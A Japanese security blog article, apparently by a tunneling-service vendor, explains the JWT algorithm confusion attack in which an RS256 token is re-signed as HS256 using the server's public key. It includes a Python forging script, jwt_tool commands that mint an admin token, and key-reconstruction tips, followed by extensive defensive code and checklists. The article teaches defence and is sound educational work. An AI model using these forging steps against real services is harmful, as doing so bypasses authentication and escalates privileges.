Security
12 min read
3495 views

JWTアルゴリズムの混乱:RS256トークンをHS256に変える危険性 🔄

IT
InstaTunnel Team
Published by our engineering team
JWTアルゴリズムの混乱:RS256トークンをHS256に変える危険性 🔄

公開鍵を秘密に変える重大なセキュリティ脆弱性の理解

現代のWebアプリケーションセキュリティの世界では、JSON Web Tokens (JWTs) は認証と認可のために広く使われています。しかし、多くのJWT実装には微妙ながらも壊滅的な脆弱性が潜んでいます:アルゴリズムの混乱攻撃です。この攻撃は、サーバーがJWTの署名を検証する方法を悪用し、攻撃者がトークンヘッダーに指定されたアルゴリズムを操作して偽造トークンを作成できるようにします。

JWTアルゴリズムの混乱とは何か?

アルゴリズムの混乱脆弱性は、JWTライブラリの実装の誤りに起因します。多くのライブラリは署名の検証に単一の、アルゴリズムに依存しないメソッドを提供しています。この脆弱性は、サーバーがJWTの署名を検証する際に使用すべき暗号アルゴリズムを適切に強制しない場合に発生します。

アルゴリズムの混乱は、JWTで使用される署名の種類を正しく検証できない場合に起こります。これにより、攻撃者は署名方法の区別が不十分な点を悪用できます。最も危険なバリアントは、RS256(RSA + SHA-256、非対称アルゴリズム)からHS256(HMAC + SHA-256、対称アルゴリズム)への切り替えです。

RS256とHS256の根本的な違い

アルゴリズムの混乱を理解するには、対称暗号と非対称暗号の基本的な違いを把握する必要があります:

RS256 (RSA + SHA-256) - 非対称: - トークンに署名するために秘密鍵を使用 - 署名を検証するために数学的に関連付けられた公開鍵を使用 - 秘密鍵は秘密に保持 - 公開鍵は公開可能 - 2つの異なる目的のために異なる鍵を使用

HS256 (HMAC + SHA-256) - 対称: - 署名と検証の両方に秘密鍵を使用 - 同じ鍵で両方の操作を行う - 秘密鍵は秘密に保持 - 秘密鍵を持つ者はトークンの作成と検証が可能

攻撃の仕組み:致命的な切り替え

最も一般的なバリアントは、RS256(RSA)トークンをHS256(HMAC)に切り替え、RSAの公開鍵をHMACの秘密鍵として使用することです。攻撃の流れは以下の通りです:

ステップ1:有効なJWTを入手

攻撃者はまず、RS256で署名された正当なJWTをアプリケーションから取得します:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.signature

このトークンは3つの部分から構成されています: - ヘッダー{"alg":"RS256","typ":"JWT"} - ペイロード{"sub":"user123","role":"user"} - 署名:サーバーの公開RSA鍵を使って検証される

ステップ2:公開鍵を取得

サーバーはしばしば、/jwks.jsonや/.well-known/jwks.jsonにマッピングされたエンドポイントを通じてJSON Web Key (JWK) 形式の公開鍵を公開しています。攻撃者は以下の方法で公開鍵を取得できます:

  • 標準のJWKSエンドポイント (/.well-known/jwks.json)
  • サーバーのドキュメントや設定ファイル
  • SSL/TLS証明書
  • jwt_forgery.pyのようなツールを使った複数のJWTからの鍵の導出

ステップ3:トークンヘッダーとペイロードの改ざん

攻撃者はヘッダーのアルゴリズムをRS256からHS256に変更し、ペイロードを改ざんして権限を昇格させます:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "sub": "user123",
  "role": "admin"
}

ステップ4:公開鍵をHMAC秘密鍵として署名

偽造トークンは、PEM形式の公開鍵をHMACの秘密鍵として使い、ペイロードを署名します。攻撃者はHS256を使って改ざんしたトークンに署名し、サーバーの公開RSA鍵をHMAC秘密鍵として扱います。

ステップ5:サーバーが偽造トークンを受け入れる

この悪意のあるトークンをサーバーが受信すると、検証方法の処理に脆弱性が現れます:

問題は、ウェブサイトの開発者がverifyメソッドが非対称アルゴリズム(例:RS256)で署名されたJWTだけを処理すると仮定し、常に固定の公開鍵を渡す場合に発生します。

// 脆弱なコード例
publicKey = public-key-of-server;
token = request.getCookie("session");
verify(token, publicKey);

サーバーがHS256のような対称アルゴリズムで署名されたトークンを受け取ると、ライブラリの一般的なverifyメソッドは公開鍵をHMAC秘密鍵として扱います。サーバーは知らず知らずのうちに、自身の公開鍵をHMAC秘密鍵として使い、攻撃者が作成した署名を検証し、成功します。これは、攻撃者が同じ公開鍵を使って署名したためです。

実世界への影響:最近の脆弱性

アルゴリズムの混乱は単なる理論上の脅威ではありません。最近の発見は、その継続的な蔓延を示しています:

CVE-2024-54150 (2024年12月)

cjwtライブラリにおいて、cjwt_decode関数がアルゴリズムの選択を必要とせず、HMACとRSAのキー処理が同一だったことが判明しました。スイッチ文は、公開鍵が秘密鍵として渡された場合でもHS256トークンを処理してしまいます。

CVE-2024-37568 (2024年)

OAuthやOpenID Connectの実装に使われる人気のPythonライブラリAuthlibにおいて、’alg’クレームが欠落または誤って設定されていたため、Authlibが公開鍵の有無に関わらず誤ってHMAC検証にデフォルトで切り替わる重大な脆弱性です。

CVE-2023-48238 (2023年)

json-web-tokenライブラリは、署名の検証に使うアルゴリズムがJWT自体から取得されていたため、未検証のまま信頼されてしまう脆弱性が見つかりました。

この脆弱性の根本原因:原因と背景

ライブラリ設計の誤り

JWTのヘッダーには、署名に使われたアルゴリズムと検証に使うべきアルゴリズムを示すalgパラメータがあります。これは本質的に設計の誤りを生み出しており、サーバーはトークンからコントロール可能な入力を暗黙的に信頼せざるを得ません。

開発者の誤解

多くの開発者は、一般的な検証メソッドのセキュリティ上の意味を誤解しています。公開鍵を渡すと自動的に非対称署名だけを受け入れると思い込んでいますが、実際にはライブラリは未検証のトークンヘッダーに指定されたアルゴリズムを信頼しています。

検証不足

アプリケーションは、トークンヘッダーのアルゴリズムが期待するものと一致しているかどうかを検証しないことが多いです。このチェックがないと、攻撃者は任意のアルゴリズムに差し替えることが可能です。

攻撃の実演:実践的な悪用方法

以下は、一般的なツールを使った攻撃の例です:

jwt_toolの使用

# JWKSエンドポイントから公開鍵を抽出
curl https://target.com/.well-known/jwks.json  jwks.json

# 偽造トークンの作成
python jwt_tool.py original_token.txt -X k -pk public_key.pem

手動Python実装例

import jwt
import base64

# 公開鍵の読み込み
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# 悪意のあるペイロードの作成
payload = {
    'sub': 'user123',
    'role': 'admin',
    'iat': 1234567890
}

# HS256で署名(公開鍵を秘密鍵として使用)
forged_token = jwt.encode(
    payload,
    public_key,
    algorithm='HS256'
)

print(forged_token)

Burp Suiteの利用

公開鍵を適切なフォーマットに変換したら、JWTのヘッダーのalgをHS256に設定し、RSAの公開鍵を秘密鍵として署名します。

高度な悪用技術

公開鍵の再構築

公開鍵がすぐに入手できない場合でも、jwt_forgery.pyのようなツールを使って複数のJWTから鍵を導き出し、アルゴリズムの混乱を試すことが可能です。

同じ秘密鍵で作成された複数の署名の数学的関係を利用して、公開鍵を再構築できます。これは、同じ鍵で署名された2つのJWTだけで可能です。

フォーマットの敏感さ

署名に使う公開鍵は、サーバーに保存されている公開鍵と完全に一致している必要があります。フォーマットや改行コードなども含めて一致させる必要があります。攻撃者はさまざまな鍵のフォーマットを試すことがあります:

  • PEM形式(ヘッダー付き)
  • 生の鍵データ
  • 改行コードの違い(CRLF vs LF)
  • 末尾の改行の有無

検出とテスト

脆弱なアプリケーションの特定

セキュリティ研究者は以下の方法でアルゴリズムの混乱を検出できます:

  1. JWTヘッダーの分析で署名アルゴリズムを特定
  2. 公開鍵の場所を特定(JWKSエンドポイントなど)
  3. アルゴリズムを変更して署名し、攻撃を試行
  4. サーバーの挙動を観察し、偽造トークンが受け入れられるか確認

自動スキャン

Burp Suite Professional 2022.5.1以降、Burp ScannerはJWTの仕組みにおける複数の脆弱性、特にアルゴリズムの混乱攻撃を自動検出できます。

防御戦略:アプリケーションを守るために

1. 明示的に期待されるアルゴリズムを指定

JWTライブラリは検証関数にアルゴリズムパラメータを追加し、サーバー側も署名に使うアルゴリズムをあらかじめ知っておくべきです。

安全な実装例:

// Node.js with jsonwebtoken
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
# Python with PyJWT
jwt.decode(token, public_key, algorithms=['RS256'])
// Java with jjwt
Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .requireAlgorithm(SignatureAlgorithm.RS256)
    .build()
    .parseClaimsJws(token);

2. アルゴリズムホワイトリストの使用

許可されたアルゴリズム(例:HS256、RS256)だけを明示的に定義し、厳格な制御を行います。これにより、緩い解釈による抜け穴を防ぎます。

3. キータイプ別に検証ロジックを分離

対称鍵と非対称鍵の検証方法を同じにしないこと。別々のコードパスを実装します:

function verifyToken(token, expectedAlgorithm, key) {
    // ヘッダーからアルゴリズムを抽出(ログ用)
    const header = JSON.parse(
        Buffer.from(token.split('.')[0], 'base64').toString()
    );
    
    // ヘッダーのアルゴリズムは信用しない
    // 常に期待されるアルゴリズムを使用
    if (expectedAlgorithm === 'RS256') {
        return verifyRS256(token, key);
    } else if (expectedAlgorithm === 'HS256') {
        return verifyHS256(token, key);
    }
    throw new Error('サポートされていないアルゴリズム');
}

4. 型チェックの実装

一部のライブラリには、公開鍵が対称秘密として使われている場合に検知する保護機能が追加されています:

function isPublicKey(key) {
    return key.includes('BEGIN PUBLIC KEY') || 
           key.includes('BEGIN RSA PUBLIC KEY');
}

function verifyHS256(token, secret) {
    if (isPublicKey(secret)) {
        throw new Error('公開鍵はHMAC秘密鍵として使用できません');
    }
    return jwt.verify(token, secret, { algorithms: ['HS256'] });
}

5. “none”アルゴリズムの拒否

“none”アルゴリズムは、トークンの整合性が既に検証済みの場合に使用されることを意図していますが、一部のライブラリでは”none”で署名されたトークンを有効な署名付きトークンと誤認識してしまいます。

本番環境では、”none”を使ったトークンを明示的に拒否してください:

const decoded = jwt.verify(token, key, {
    algorithms: ['RS256', 'HS256'],
    // 'none'アルゴリズムは自動的に拒否される
});

6. HMAC用の強力な秘密鍵の使用

JWTアプリケーションの実装時に、デフォルトやプレースホルダーの秘密鍵を変更し忘れると、攻撃者が秘密鍵をブルートフォースで推測しやすくなります。特にHS256では、: - 256ビット以上の暗号学的に安全な秘密鍵を使用 - 環境変数や秘密管理システムに安全に保存 - 定期的に鍵をローテーション - ソースコードに秘密鍵をハードコーディングしない

7. すべてのクレームを徹底的に検証

アルゴリズムの検証に加え、クレームの検証も徹底します:

jwt.verify(token, publicKey, {
    algorithms: ['RS256'],
    issuer: 'https://trusted-issuer.com',
    audience: 'your-application',
    clockTolerance: 60 // 時刻比較の余裕秒数
});

8. ライブラリの最新化

CVE-2024-37568に対処するため、Authlibをバージョン1.3.1以降にアップグレードし、アルゴリズムの混乱を防ぐ堅牢な修正を適用してください。JWTライブラリは定期的に更新し、セキュリティパッチと検証ロジックの改善を取り入れることが重要です。

JWTセキュリティのベストプラクティス

セキュリティチェックリスト

アルゴリズム管理: - ✅ 検証時に許可されたアルゴリズムを明示的に指定 - ✅ トークンのヘッダーからアルゴリズムを信用しない - ✅ 本番環境では”none”を無効化 - ✅ 多くのケースでRS256やES256の非対称アルゴリズムを使用 - ✅ アルゴリズムホワイトリストをアプリケーションレベルで実装

鍵管理: - ✅ 秘密鍵は安全に管理(キーマネジメントサービスなど) - ✅ 強力でランダムな秘密鍵を使用 - ✅ 定期的に鍵をローテーションし、猶予期間を設ける - ✅ 公開鍵はアクセス可能にし、秘密鍵は保護 - ✅ ソースコードや設定ファイルに鍵を埋め込まない

トークン取り扱い: - ✅ 有効期限は短めに設定(例:15分以内) - ✅ リフレッシュトークンのローテーションを実施 - ✅ iss、aud、exp、nbf、iatなどのクレームをすべて検証 - ✅ HTTPSを専用で使用し、安全に送信 - ✅ トークンは安全に保存(Webアプリの場合はHttpOnlyクッキー)

実装: - ✅ メンテナンスされている最新のJWTライブラリを使用 - ✅ 適切なエラーハンドリングを行い、情報漏洩を防ぐ - ✅ セキュリティイベントを記録し、監視とインシデント対応に役立てる - ✅ 定期的なセキュリティ監査とペネトレーションテストを実施 - ✅ JWTセキュリティの原則について開発者教育を行う

適切なアルゴリズムの選択

新規アプリケーション向け: - RS256またはES256:公開鍵配布が必要なシナリオに最適 - PS256:RS256よりもセキュリティが向上した確率的署名 - EdDSA:最も安全で効率的、特に新規実装に適しています

避けるべき: - 公開APIで秘密鍵が露出する可能性のあるHS256 - 弱い鍵(RSAは2048ビット以上、ECDSAは256ビット以上) - アルゴリズムの柔軟性(複数のアルゴリズムをサポートしない)

実装のテスト方法

脆弱性評価のステップ

  1. 検証コードをレビューし、アルゴリズムが明示的に指定されているか確認
  2. 変更したトークンでテストし、アルゴリズムを変更してみる
  3. 公開鍵の置換を試行し、保護機能が働いているか確認
  4. “none”アルゴリズムの受け入れがないか検証
  5. 鍵フォーマットの感度がセキュリティに影響しないか確認

セキュリティテストツール

  • jwt_tool:包括的なJWTテストツール
  • Burp Suite:JWT拡張機能付きのWebアプリケーションセキュリティテスト
  • OWASP ZAP:オープンソースのセキュリティスキャナー
  • カスタムスクリプト:PythonやNode.jsのスクリプト

JWTセキュリティの全体像

アルゴリズムの混乱は、JWTに関する複数の脆弱性の一つです:

  • 弱い秘密鍵:HMAC秘密鍵のブルートフォース
  • 署名検証の欠如:署名なしトークンの受け入れ
  • トークン漏洩:ログやURL、クライアント側ストレージからの漏洩
  • リプレイ攻撃:捕捉したトークンの再利用
  • JKU/X5Uインジェクション:ヘッダーのパラメータ操作
  • Kidインジェクション:キー識別子によるパストラバーサル

JWTはJWTだから安全というわけではなく、その使い方次第で安全かどうかが決まります。

結論:警戒心を持つことが重要

JWTのアルゴリズムの混乱は、主要なライブラリに影響を与え続けている重大なセキュリティ脆弱性です。この攻撃は、検証されていないトークンに検証方法を決定させる根本的な信頼の問題を突いています。

JWTのalgフィールドはユーザー制御のデータです。これを信頼せず、期待されるアルゴリズムを設定し、明示的に検証することが重要です。検証時にアルゴリズムを明示的に検証し、アルゴリズム固有の検証方法を用い、セキュリティのベストプラクティスに従うことで、この破壊的な攻撃からアプリケーションを守ることができます。

ポイント:ユーザー入力を絶対に信用しないこと。特に、セキュリティに関わる操作を決定するalgフィールドは、未検証の入力です。常にセキュリティポリシーをコード内で明示的に強制してください。

認証メカニズムが進化し続ける中、アルゴリズムの混乱のような脆弱性に注意し、防御策を講じることは、アプリケーションのセキュリティ維持に不可欠です。定期的なセキュリティ監査、開発者教育、積極的な監視が堅牢なJWTセキュリティの要です。


さらなる学習リソース:

  • OWASP JWTセキュリティチートシート
  • RFC 7519: JSON Web Token (JWT)
  • RFC 8725: JWTのベストプラクティス
  • PortSwigger Web Security Academy: JWT攻撃
  • Burp Suite JWTテストツール

安全を確保し、明示的に検証し、アルゴリズムヘッダーを絶対に信用しないでください! 🔒

Continue from this article into the most relevant product guides and workflows.

Related Topics

#JWT algorithm confusion, JWT vulnerability, RS256 to HS256 attack, JWT token forgery, JSON Web Token exploit, JWT signature bypass, JWT security, JWT misconfiguration, JWT hacking, JWT validation flaw, JWT RS256 vulnerability, JWT HS256 exploit, JWT header tampering, JWT signature confusion, JWT public key attack, JWT asymmetric to symmetric, JWT authentication bypass, JWT algorithm spoofing, JWT attack 2025, JWT cryptography flaw, JWT pen testing, JWT bug bounty, JWT algorithm confusion example, JWT security misconfiguration, RS256 vs HS256, JWT verification flaw, JWT exploit tutorial, JWT manipulation, JWT injection, JWT cracking, JWT signature validation, JWT best practices, JWT secure implementation, JWT token validation, JWT algorithm confusion prevention, JWT library vulnerability, JWT attack detection, JWT forge token, JWT public key secret, JWT exploit chain, JWT hack demo, JWT algorithm confusion CVE, JWT exploit research, JWT misused algorithms, JWT bypass authentication, JWT implementation flaws, JWT pentesting techniques, JWT header attack, JWT payload tampering, RS256 public key secret, HS256 confusion exploit, JWT asymmetric signature vulnerability, JWT algorithm downgrade, JWT secure verification, JWT exploit mitigation

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles